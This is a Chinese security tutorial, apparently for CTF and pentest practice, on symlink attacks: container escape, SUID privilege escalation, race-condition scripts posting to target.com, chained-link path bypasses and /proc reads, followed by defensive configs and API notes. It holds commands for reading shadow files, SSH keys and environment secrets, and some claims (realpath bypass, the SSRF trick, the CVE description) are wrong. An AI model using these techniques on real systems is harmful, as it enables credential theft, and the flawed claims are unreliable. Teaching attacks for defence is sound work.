容器有时候会映射宿主机的某些目录进来,比如:

docker run -v /host/data:/container/data ...

如果映射配置不当,或者我们可以控制映射的路径,就可以利用软链接访问宿主机的其他位置。

比如容器内有 /host/config 这个目录,映射的是宿主机的 /etc:

ls -la /host/config
# lrwxrwxrwx ... /host/config -> /etc

如果在容器内创建:

ln -s /host/config /tmp/escape

然后应用读取 /tmp/escape 时,实际读到的就是宿主机的 /etc。

proc文件系统

容器的 /proc 目录有很多东西。比如 /proc/1/cgroup 可以告诉我们当前是在容器里:

cat /proc/1/cgroup
# 如果看到docker或kubepods这样的字样,说明在容器里

更关键的是 /proc/self/fd/,里面有当前进程打开的所有文件描述符。

如果容器内某个进程打开了宿主机的文件,我们可以通过软链接访问:

# 假设某个进程打开了宿主机的 /root/.ssh/id_rsa
# 我们可以通过软链接访问
ln -s /proc/123/fd/3 /tmp/ssh_key
cat /tmp/ssh_key

CVE-2019-5736

这个是Docker的一个经典漏洞(runC漏洞)。它并不需要软链接,这里我们借助它来了解容器逃逸的思路。

漏洞的核心是,容器可以覆盖宿主机上的runC二进制文件。攻击者在容器内创建一个恶意程序,然后通过 /proc/self/exe (指向当前执行的程序)来覆盖runC本身。

例题

容器内有个web应用,可以上传文件,上传的文件会被保存到 /app/uploads/。有个功能会"预览"上传的文件,实际是include执行,但容器内没有php环境,没法直接getshell,但是 /proc/self/cmdline 显示容器是用某个配置文件启动的。

解题思路:

# 查看容器启动命令
cat /proc/self/cmdline
# 发现是: /app/start.sh

# 读取启动脚本
cat /app/start.sh
# 发现会source /app/config/config.sh

# 检查config.sh的权限
ls -la /app/config/config.sh
# 我们有写权限!

# 创建软链接
cd /app/config
rm config.sh
ln -s /flag config.sh

# 等待容器重启(或触发重启机制)
# 启动脚本会source /flag
# 可能会把flag内容显示在日志里

10. 提权利用

软链接在Linux提权中扮演着重要角色,尤其是在配合SUID程序使用时。

SUID基础回顾

SUID是一种特殊的文件权限,设置后,普通用户执行这个程序时,会暂时获得程序所有者的权限。最典型的例子是 /bin/passwd,普通用户需要用它来修改/etc/shadow,但shadow文件只有root能写,所以passwd程序必须要有SUID权限。

# 查找SUID文件
find / -perm -4000 -type f 2>/dev/null

软链接与SUID的结合

问题在于,有些SUID程序在处理文件时没有考虑到软链接的情况。

举个例子。假设有个SUID程序,功能是"把指定文件复制到/tmp/backup/":

// 简化的代码
int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <filename>\n", argv[0]);
        return 1;
    }

    char cmd[256];
    sprintf(cmd, "cp %s /tmp/backup/", argv[1]);
    system(cmd);

    return 0;
}

如果这个程序有SUID权限(属于root),而我们在它执行时把文件参数换成软链接,会发生什么?

# 创建软链接指向/etc/shadow
ln -s /etc/shadow /tmp/myfile

# 执行程序
./suid_backup /tmp/myfile

# /etc/shadow被复制到了/tmp/backup/
cat /tmp/backup/shadow

环境变量注入

还有一类提权方法是利用环境变量。某些SUID程序会依赖环境变量来决定读取哪些文件。

比如这个程序:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char *config = getenv("MYAPP_CONFIG");
    if (config == NULL) {
        config = "/etc/myapp/default.conf";
    }

    FILE *f = fopen(config, "r");
    // 读取配置...
}

如果这个程序有SUID权限,我们可以:

# 设置环境变量指向我们想读的文件
export MYAPP_CONFIG=/etc/shadow

# 执行程序
./suid_app
# 可能会显示shadow的内容

但还可以用软链接:

# 创建一个看起来正常的配置文件
ln -s /root/.ssh/id_rsa /tmp/app.conf

# 让程序读取这个"配置文件"
export MYAPP_CONFIG=/tmp/app.conf
./suid_app

竞态条件

SUID提权中最经典的技巧是竞态条件(Race Condition)。核心思想是:

  1. SUID程序会检查文件是否合法
  2. 然后对文件做某些操作
  3. 在这两步之间,我们快速替换文件

软链接让这个技巧更简单:

# 在一个终端持续创建软链接
while true; do
    ln -s /etc/shadow /tmp/safe_file
    rm /tmp/safe_file
done

# 在另一个终端触发SUID程序
while true; do
    ./suid_program /tmp/safe_file
done

如果在程序检查完文件权限和实际打开文件之间,我们成功把文件替换成软链接,就可能读到敏感内容。

常见可利用的SUID程序

不是所有SUID程序都能利用,要满足一些条件:

  1. 程序会读取用户可控的文件
  2. 程序没有做足够的权限检查
  3. 程序会输出文件内容或以某种方式让我们能访问

历史上一些常见可利用的程序:

  • nmap(旧版本)
  • find(配合-exec参数)
  • vim(如果设置了SUID)
  • tcpdump(配合-C参数)

但这些现在都比较少见了。现代的SUID程序安全做得比较好。

例题

有个自定义的SUID程序 /usr/local/bin/reader,功能是"读取指定文件的前100字节",它会检查文件是否在 /var/log/ 目录下,但检查用的是字符串匹配,而不是realpath

解题思路:

# 创建一个名为 /var/log/../../etc/shadow 的软链接
# 但这个文件名包含..,会被检查拒绝

# 换个思路,在/var/log/下创建软链接
ln -s /etc/shadow /var/log/logfile

# 执行程序
/usr/local/bin/reader /var/log/logfile
# 成功读到shadow的前100字节

我也写过一篇专门讲SUID提权的文章,里面更详细地介绍了各种技巧。

Linux SUID提权:从内核原理到实战利用

11. 信息收集

拿到一个系统shell后(无论是通过漏洞还是CTF题目),第一步通常是信息收集。软链接在这个过程中可以提供很多线索。

为什么要收集软链接信息

软链接本身不包含数据,但它指向哪里,就是我们需要关注的信息。系统管理员可能会创建软链接指向配置文件、密钥文件或其他敏感位置。找到这些链接,就找到了敏感文件的线索。

基本枚举方法

最直接的方法是查找所有软链接:

# 查找整个系统的软链接
find / -type l 2>/dev/null

但这样输出太多了,我们需要过滤:

# 只看软链接指向的路径,过滤敏感关键词
find / -type l -exec ls -l {} \; 2>/dev/null | grep -E 'shadow|passwd|ssh|config|secret|key|credential'

# 或者用readlink直接显示指向
find / -type l -exec readlink {} \; 2>/dev/null | grep -E 'shadow|passwd|ssh'

重点关注的目录

有些目录下更容易出现有价值的软链接:

# 查看Web目录
ls -la /var/www/html/ 2>/dev/null | grep '^l'

# 定时任务目录
ls -la /etc/cron.* 2>/dev/null
ls -la /etc/systemd/system/ 2>/dev/null

# 应用配置目录
ls -la /opt/*/ 2>/dev/null
ls -la /etc/*/ 2>/dev/null

软链接的跳跃追踪

有时候会出现软链接指向软链接的情况,需要递归追踪:

# readlink默认不递归
readlink /some/link

# 用readlink -f递归解析到最终目标
readlink -f /some/link

# 或者用realpath
realpath /some/link

软链接与权限提升

软链接指向的文件可能本身权限设置不当。比如:

# 发现一个指向/etc/shadow的软链接
ls -la /tmp/link
# lrwxrwxrwx ... /tmp/link -> /etc/shadow

# shadow本身权限很严
ls -la /etc/shadow
# -r-------- 1 root root ... /etc/shadow

# 但如果链接指向的是备份文件呢?
ls -la /tmp/backup_link
# lrwxrwxrwx ... /tmp/backup_link -> /var/backups/shadow.bak

# 检查备份文件权限
ls -la /var/backups/shadow.bak
# -rw-r--r-- 1 root root ... /var/backups/shadow.bak
# 这个文件所有人可读!

软链接与配置泄露

很多应用会用软链接管理配置文件版本:

# 查看软链接
ls -la /etc/myapp/conf
# lrwxrwxrwx ... conf -> /etc/myapp/conf.d/production

# 检查目录
ls -la /etc/myapp/conf.d/
# drwxr-xr-x ... .
# drwxr-xr-x ... ..
# lrwxrwxrwx production -> /etc/myapp/conf.d/2025-01-14
# lrwxrwxrwx old -> /etc/myapp/conf.d/2024-12-01
# -rw-r--r-- ... 2025-01-14
# -rw-r--r-- ... 2024-12-01

# 旧配置文件可能包含敏感信息
cat /etc/myapp/conf.d/2024-12-01
# 发现硬编码的API密钥

自动化脚本

手动枚举很慢,可以自己写个简单的脚本自动化:

#!/bin/bash
# symlink_enum.sh

find / -type l -exec ls -l {} \; 2>/dev/null | \
    grep -E 'shadow|passwd|ssh|secret|key|credential|config|\-id_rsa|\-authorized_keys' | \
    tee /tmp/symlinks.log

while read line; do
    link=$(echo "$line" | awk '{print $NF}')
    if [ -L "$link" ]; then
        target=$(readlink -f "$link")
        echo "$link -> $target"
        if [ -r "$target" ]; then
            echo "  可读: $target"
        fi
    fi
done < /tmp/symlinks.log

软链接与日志文件

有时候软链接会指向日志文件,日志里可能包含敏感信息:

# 查找指向日志的链接
find / -type l -exec ls -l {} \; 2>/dev/null | grep -E 'log|LOG'

# 如果链接指向日志文件,检查日志内容
for link in $(find /var/log -type l); do
    echo "=== $link ==="
    readlink -f "$link"
    head -n 10 "$link" 2>/dev/null
done

软链接信息收集是渗透测试中重要但经常被忽视的一步。花点时间在这上面,经常会有意外收获。

12. 竞态条件高级技巧

竞态条件(Race Condition)是安全领域一个非常经典的攻击向量。软链接让这类攻击更容易实施。

基本原理

竞态条件的核心思想是:利用检查和使用之间的时间差。

很多程序的处理流程是这样的:

  1. 检查文件是否合法(比如是不是图片、是否在允许的目录)
  2. 打开文件进行处理
  3. 关闭文件

如果在步骤1和步骤2之间,我们快速把文件替换成软链接,程序实际处理的就是软链接指向的文件了。

为什么软链接让竞态更容易

没有软链接的情况下,要做竞态需要两个操作:删除原文件然后复制新文件。而用软链接只需要一个原子操作就能完成替换,这大大提高了成功率。

Python实现脚本

写个实际的攻击脚本:

import os
import time
import threading

def race_exploit():
    """
    持续在合法文件和软链接之间切换
    """
    # JPEG文件头,让文件看起来像图片
    legit_content = b'\xff\xd8\xff\xe0\x00\x10JFIF'

    while True:
        # 创建合法文件
        with open('/tmp/upload.jpg', 'wb') as f:
            f.write(legit_content)

        time.sleep(0.001)

        # 快速替换为软链接
        try:
            os.remove('/tmp/upload.jpg')
        except:
            pass
        os.symlink('/etc/passwd', '/tmp/upload.jpg')
        time.sleep(0.001)

def trigger_victim():
    """
    持续触发受害者程序处理文件
    """
    import requests

    while True:
        try:
            # 触发应用程序处理文件
            files = {'file': open('/tmp/upload.jpg', 'rb')}
            r = requests.post('http://target.com/upload', files=files)
        except:
            pass

然后开两个线程并发执行:

# 启动竞态线程
t1 = threading.Thread(target=race_exploit)
t2 = threading.Thread(target=trigger_victim)
t1.start()
t2.start()

提高成功率的技巧

竞态的成功率取决于时间窗口。要提高成功率,可以从几个方面入手:

  1. 增加并发度:不只开两个线程,而是开几十个甚至上百个
  2. 调整延迟:时间太长会错过窗口,太短可能来不及完成操作
  3. CPU亲和性:把两个线程绑定到同一个CPU核心,减少调度延迟
  4. 使用更底层的系统调用:比如用symlink()而不是ln -s

CVE-2018-1000533

这个CVE是关于git的一个竞态条件漏洞。攻击者可以在git克隆仓库时,通过竞态条件让git写入任意位置。

虽然这个漏洞本身不是通过软链接实现的,但类似的思路可以用在软链接上。

Bash实现版本

如果不会Python,用bash也能写:

#!/bin/bash

# 竞态攻击脚本
while true; do
    # 创建合法文件
    echo "safe content" > /tmp/safe_file

    # 立即删除并创建软链接
    rm /tmp/safe_file
    ln -s /etc/passwd /tmp/safe_file
done &

# 触发程序
while true; do
    curl -F "file=@/tmp/safe_file" http://target.com/upload
done

检测竞态是否成功

怎么知道竞态成功了?可以观察服务器的反应:

# 如果程序读到了/etc/passwd,可能会:
# 1. 报错(因为内容不是预期的格式)
# 2. 把/etc/passwd的内容显示在错误信息里
# 3. 把/etc/passwd复制到某个可访问的位置

13. 双重软链接

这个技巧比较巧妙,核心思想是通过多层软链接来绕过路径检查。

基本原理

有些应用的路径检查是这样的:

def is_safe_path(path):
    """
    检查路径是否在允许的目录内
    """
    allowed_dirs = ['/var/www/html', '/tmp', '/uploads']

    for allowed in allowed_dirs:
        if path.startswith(allowed):
            return True
    return False

这个检查有个漏洞:它只检查字符串前缀,而不是解析后的真实路径。

攻击思路

假设我们可以控制一个路径,但这个路径会被检查。我们想访问 /flag,但它不在白名单里。

可以这样操作:

# 第一层:在白名单目录创建软链接
ln -s /flag /uploads/safe_file

# 第二层:在另一个位置创建指向第一层的软链接
ln -s /uploads/safe_file /tmp/link2

当应用检查 /tmp/link2 时:

# 检查 /tmp/link2
# /tmp 在白名单里,检查通过

# 但访问时实际读到的是 /flag

更复杂的例子

有些应用会先解析一次路径,再检查:

def safe_read(path):
    # 先解析一次
    real = os.path.realpath(path)

    # 检查解析后的路径
    if not real.startswith('/var/www/html'):
        raise ValueError('Access denied')

    # 再读取文件
    return open(real).read()

这种情况下,两层软链接可能不够,需要三层:

# 第一层
ln -s /flag /uploads/user1/file1

# 第二层
ln -s /uploads/user1/file1 /var/www/html/uploads/link2

# 第三层
ln -s /var/www/html/uploads/link2 /tmp/final_link

当程序处理 /tmp/final_link 时:

  1. realpath(/tmp/final_link) -> /var/www/html/uploads/link2
  2. 检查通过,因为以 /var/www/html 开头
  3. 但 /var/www/html/uploads/link2 本身是个软链接
  4. 程序读取时会继续跟随,最终读到 /flag

实际应用场景

这个技巧在什么场景下有用?通常是:

  1. 路径白名单检查不严格
  2. 检查时只解析一次,但使用时会继续跟随
  3. 我们能创建软链接的地方有限

我见过一个真实的案例,场景是:

  • 有个图片处理服务,会读取用户上传的图片
  • 路径检查用的是字符串前缀匹配
  • 我们可以上传文件到 /uploads/ 目录
  • flag在 /flag

攻击过程:

# 在可写目录创建软链接指向flag
ln -s /flag /uploads/image.jpg

# 上传一个包含这个软链接的压缩包
# 服务解压后,/uploads/image.jpg 是个软链接

# 触发图片处理
curl http://target.com/process?file=/uploads/image.jpg

# 服务检查 /uploads 在白名单,通过
# 实际读取时跟随软链接,读到了flag内容

变体

CTF中可能会遇到更复杂的变种。比如:

def check(path):
    # 检查路径
    if '..' in path or path.startswith('/'):
        return False

    # 拼接基础路径
    full = '/var/www/html/' + path

    # 解析软链接
    real = os.path.realpath(full)

    # 再次检查
    if not real.startswith('/var/www/html'):
        return False

    return True

这个检查看起来很严格,但如果服务端有个目录软链接呢?

# /var/www/html/uploads 已经是个软链接
# lrwxrwxrwx ... /var/www/html/uploads -> /tmp

# 我们可以:
ln -s /flag /tmp/exploit.jpg

当访问 uploads/exploit.jpg 时:

  1. 拼接成 /var/www/html/uploads/exploit.jpg
  2. 解析路径,/var/www/html/uploads -> /tmp
  3. 最终路径是 /tmp/exploit.jpg -> /flag
  4. 检查时可能用的是旧的路径,没有完全解析

14. 文件描述符劫持

这是一个比较高级的技巧,需要理解Linux的文件描述符和proc文件系统。

文件描述符基础

每个进程打开的文件都有一个文件描述符(file descriptor),是个非负整数。标准输入是0,标准输出是1,标准错误是2。

Linux的 /proc 文件系统提供了访问进程信息的接口。每个进程在 /proc 下都有个以进程ID命名的目录:

# 查看当前进程的文件描述符
ls -la /proc/self/fd/
# 0 -> /dev/pts/0
# 1 -> /dev/pts/0
# 2 -> /dev/pts/0
# 3 -> /some/opened/file

这些文件描述符本身也是软链接,指向实际打开的文件。

利用思路

假设有个程序,它会读取用户指定的文件:

def read_config(config_path):
    with open(config_path, 'r') as f:
        return f.read()

如果我们能让它读取 /proc/self/fd/0(标准输入),那就可以通过标准输入传入我们想让它读的内容。

但问题是,程序读取文件时会从哪里获取标准输入呢?

更实际的场景

有个更现实的场景。假设程序会先打开一个文件,然后根据某些条件再打开另一个文件:

def process_files(input_file, config_file):
    # 先打开输入文件
    with open(input_file, 'r') as infile:
        data = infile.read()

    # 然后打开配置文件
    with open(config_file, 'r') as conf:
        config = conf.read()

如果我们可以让 config_file 指向 /proc/self/fd/3(假设3是某个已打开的文件描述符),就能读到程序正在使用的文件。

/proc/self 的特殊性质

/proc/self 是个特殊的软链接,它指向当前进程的目录:

ls -la /proc/self
# lrwxrwxrwx ... /proc/self -> 12345
# 12345是当前进程的PID

每个进程看到的 /proc/self 都不同,它总是指向自己。这使得利用 /proc/self/fd/ 成为可能,因为不需要知道具体的进程ID。

环境变量

有些程序会把环境变量写到文件里。可以通过软链接读取 /proc/self/environ:

# 创建软链接
ln -s /proc/self/environ /tmp/config

# 如果程序读取 /tmp/config
# 实际读到了环境变量

环境变量里可能包含敏感信息,比如数据库密码、API密钥等。

15. 软链接配合其他漏洞

软链接本身不是漏洞,但它可以配合其他漏洞类型,让攻击更容易或者更隐蔽。

配合文件包含(LFI/RFI)

这是最常见的组合。文件包含漏洞本身只能读服务器上的文件,但如果配合软链接,可能读到意想不到的内容。

# 创建软链接指向敏感文件
ln -s /etc/passwd avatar.png

# 如果有个LFI漏洞:
# index.php?file=uploads/avatar.png
# 实际读到的是 /etc/passwd

配合命令注入

命令注入是把用户输入拼接到系统命令里执行。软链接可以让命令注入更隐蔽:

# 正常的命令注入可能是:
# ; cat /flag

# 但如果有软链接:
ln -s /etc/passwd normal_file
# 然后触发命令注入:
# ; cat normal_file
# 看起来像是在读正常文件,实际读到了/etc/passwd

配合反序列化(Phar)

这是个经典技巧。PHP的phar://协议在解析phar文件时,会自动反序列化其中的元数据。

# 创建恶意phar文件,里面有反序列化payload
# 把phar文件伪装成图片
ln -s /path/to/evil.phar image.jpg

# 如果有文件包含漏洞:
# include('phar://uploads/image.jpg');
# 会触发反序列化

这个技巧的关键是,即使文件名是.jpg,只要用phar://协议包装,PHP就会把它当做phar文件处理。

配合SSRF

SSRF(服务器端请求伪造)可以让服务器发起HTTP请求。软链接可以让SSRF读本地文件:

# 创建软链接
ln -s file:///etc/passwd url.txt

# 如果应用读取url.txt的内容,然后发起请求
# 可能会读取到/etc/passwd

配合XXE

XXE(XML外部实体注入)可以读取文件。但有些XXE利用只能读相对路径:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "uploads/file.xml">
]>

如果uploads/file.xml是个软链接:

ln -s /etc/passwd uploads/file.xml

就能读到/etc/passwd。

配合模板注入

模板引擎(如Jinja2、Twig)通常可以包含文件:

{{ include('/var/www/uploads/user_config') }}

如果我们能让这个文件是个软链接:

ln -s /etc/passwd /var/www/uploads/user_config

模板渲染时就会显示敏感文件内容。

配合CRLF注入

CRLF注入是在HTTP头里注入换行符。软链接可以让日志文件指向我们想要的位置:

# 创建软链接
ln -s /var/log/apache/access.log /tmp/app.log

# 如果CRLF注入可以控制日志文件名
# 日志可能会写到/var/log/apache/access.log
# 造成日志污染

多漏洞利用

真实环境中,往往需要多个漏洞配合:

  1. 用文件上传上传软链接文件
  2. 用文件包含读取软链接指向的内容
  3. 用命令注入执行读到的内容
  4. 用反序列化进一步提权

每种漏洞都放大了软链接的作用。

常见语言与中间件的软链接特性

判断漏洞是否存在,我们还需要了解后端语言如何处理软链接。

1. PHP

  • file_get_contents() / fopen() / include(): 默认会跟随软链接。这是利用软链接进行 LFI(本地文件包含)或任意文件读取的基础。
  • is_link(): 用于判断文件是否为链接。
  • readlink(): 读取链接指向的原始路径(不读取目标文件内容)。
  • realpath(): 返回绝对路径,解析所有软链接。常用于防御,检查解析后的路径是否仍在白名单目录内。

2. Apache / Nginx

  • Apache: Options FollowSymLinks。如果开启(通常是默认的),Apache 会直接根据链接提供目标文件的内容。如果是 SymLinksIfOwnerMatch,则安全性稍高,要求链接和目标文件属主相同。
  • Nginx: disable_symlinks 指令用于控制符号链接的行为。
# Nginx配置
location / {
    disable_symlinks if_not_owner;  # 如果链接和目标所有者不同则拒绝
    # 或者
    disable_symlinks on;  # 完全禁用软链接
}

3. Python

import os

# os.path.exists: 跟随软链接
os.path.exists('link')  # 检查目标是否存在

# os.path.islink: 检查是否为链接
os.path.islink('link')  # True

# os.path.realpath: 解析所有链接
os.path.realpath('link')  # 返回目标绝对路径

# os.readlink: 读取链接指向
os.readlink('link')  # 返回目标路径字符串

# os.lstat: 不跟随链接,获取链接本身信息
os.lstat('link')

# os.stat: 跟随链接
os.stat('link')

# 打开文件时的行为
with open('link', 'r') as f:  # 默认跟随链接
    pass

4. Node.js

const fs = require('fs');

// fs.stat: 跟随软链接
fs.stat('link', (err, stats) => {});

// fs.lstat: 不跟随软链接
fs.lstat('link', (err, stats) => {});

// fs.readlink: 读取链接指向
fs.readlink('link', (err, targetPath) => {});

// fs.realpath: 解析为真实路径
fs.realpath('link', (err, resolvedPath) => {});

// 判断是否为符号链接
fs.lstatSync('link').isSymbolicLink();

5. Go

import (
    "os"
    "path/filepath"
)

// os.Lstat: 不跟随链接
info, _ := os.Lstat("link")

// os.Stat: 跟随链接
info, _ := os.Stat("link")

// os.Readlink: 读取链接指向
target, _ := os.Readlink("link")

// filepath.EvalSymlinks: 解析所有链接
realPath, _ := filepath.EvalSymlinks("link")

6. Java

import java.nio.file.*;
import java.nio.file.attribute.*;

// 创建软链接
Files.createSymbolicLink(Paths.get("link"), Paths.get("target"));

// 读取链接指向
Path target = Files.readSymbolicLink(Paths.get("link"));

// 判断是否为符号链接
boolean isSymlink = Files.isSymbolicLink(Paths.get("link"));

// 获取真实路径
Path real = Paths.get("link").toRealPath();

// 读取文件属性(不跟随链接)
BasicFileAttributes attrs = Files.readAttributes(
    Paths.get("link"),
    BasicFileAttributes.class,
    LinkOption.NOFOLLOW_LINKS
);

// 判断链接是否损坏
boolean exists = Files.exists(Paths.get("link"), LinkOption.NOFOLLOW_LINKS);

7. Ruby

# File.symlink?: 判断是否为软链接
File.symlink?("link")  # true/false

# File.readlink: 读取链接指向
File.readlink("link")

# File.realpath: 解析真实路径
File.realpath("link")

# File.lstat: 不跟随链接
File.lstat("link")

# File.stat: 跟随链接
File.stat("link")

# File.exist?: 跟随链接检查目标是否存在
File.exist?("link")

8. Bash Shell

# 测试是否为符号链接
[ -h "link" ] && echo "is symlink"
[ -L "link" ] && echo "is symlink"

# 测试链接是否存在且有效
[ -e "link" ] && echo "target exists"

# 读取链接指向
readlink link

# 获取规范化路径
realpath link

waf

1. 应用层防御

禁用软链接跟随

// PHP: 使用realpath检查
$realPath = realpath($userInput);
if (strpos($realPath, '/var/www/html') !== 0) {
    die('Access denied');
}
# Python: 先检查是否为链接
if os.path.islink(userPath):
    raise Exception('Symlinks not allowed')
// Java: 禁用链接跟随
Path path = Paths.get(userInput).toRealPath(LinkOption.NOFOLLOW_LINKS);

路径规范化与白名单

import os

def safe_read_file(filepath):
    # 规范化路径
    realpath = os.path.realpath(filepath)
    # 白名单检查
    base_dir = os.path.realpath('/var/www/html/uploads')
    if not realpath.startswith(base_dir):
        raise ValueError('Access denied')
    # 检查是否为链接
    if os.path.islink(filepath):
        raise ValueError('Symlinks not allowed')
    return open(realpath).read()

解压文件安全检查

import tarfile
import os

def safe_extract(tar_path, extract_dir):
    with tarfile.open(tar_path) as tar:
        for member in tar.getmembers():
            # 检查路径遍历
            if os.path.isabs(member.name) or ".." in member.name:
                continue
            # 检查是否为符号链接
            if member.issym() or member.islnk():
                continue  # 跳过符号链接
            tar.extract(member, extract_dir)

2. Web服务器配置

Apache配置

# 完全禁用软链接
Options -FollowSymLinks

# 仅当所有者相同时允许
Options SymLinksIfOwnerMatch

# 针对特定目录
<Directory /var/www/html/uploads>
    Options -FollowSymLinks
</Directory>

Nginx配置

# 完全禁用
server {
    disable_symlinks on;
}

# 仅当所有者相同时允许
server {
    disable_symlinks if_not_owner;
}

# 针对特定目录
location /uploads/ {
    disable_symlinks on;
}

3. 系统级防护

文件系统挂载选项

# 挂载时不支持符号链接(某些文件系统)
mount -o nosymfollow /dev/sda1 /mnt

容器化隔离

# Docker: 使用volume而非bind mount避免软链接逃逸
version: '3'
services:
  app:
    volumes:
      - data_volume:/data
    # 不要使用: ./data:/data

SELinux/AppArmor策略

# SELinux可以限制软链接的创建和跟随
# 定义策略禁止某些进程创建软链接

4. 代码审计重点

在进行代码审计时,检查以下要点:

文件上传功能是否解压用户上传的压缩包

解压时是否检查符号链接

文件读取操作是否使用realpath()规范化路径

路径检查是否在链接解析之前进行

是否检查文件权限时使用了lstat()而非stat()

文件包含操作是否验证目标不在敏感位置

日志功能是否可能被软链接劫持

相关调试工具

1. 软链接关系树

# 查找并显示所有软链接及其指向
find . -type l -exec ls -l {} \; | column -t

# 更美观的显示
find . -type l -printf '%p -> %l\n' | tree --fromfile

2. 循环检测

# 检测循环链接
readlink -f link  # 会报错如果存在循环

# 或使用python
python3 -c "import os; print(os.path.realpath('link'))"

3. 性能分析

# 查看fast symlink vs slow symlink
stat -c "%s %b" link  # size, blocks
# 如果blocks为0,则是fast symlink

高级技巧

1. 便携式软链接脚本

#!/bin/bash
# create_portable_link.sh
# 创建可移植的相对路径软链接

SOURCE="$1"
TARGET="$2"

# 获取相对路径
RELATIVE=$(realpath --relative-to="$TARGET" "$SOURCE")

# 创建软链接
ln -s "$RELATIVE" "$TARGET"

echo "Created: $TARGET -> $RELATIVE"

2. 批量软链接管理

# 批量创建
for file in /source/*.txt; do
    ln -s "$file" "/dest/$(basename "$file")"
done

# 批量检查有效性
find . -type l -! -exec test -e {} \; -print

3. 临时软链接(用完即删)

# 在子shell中使用,确保清理
(
    ln -s /tmp/large_file ./current
    process ./current
    rm ./current
)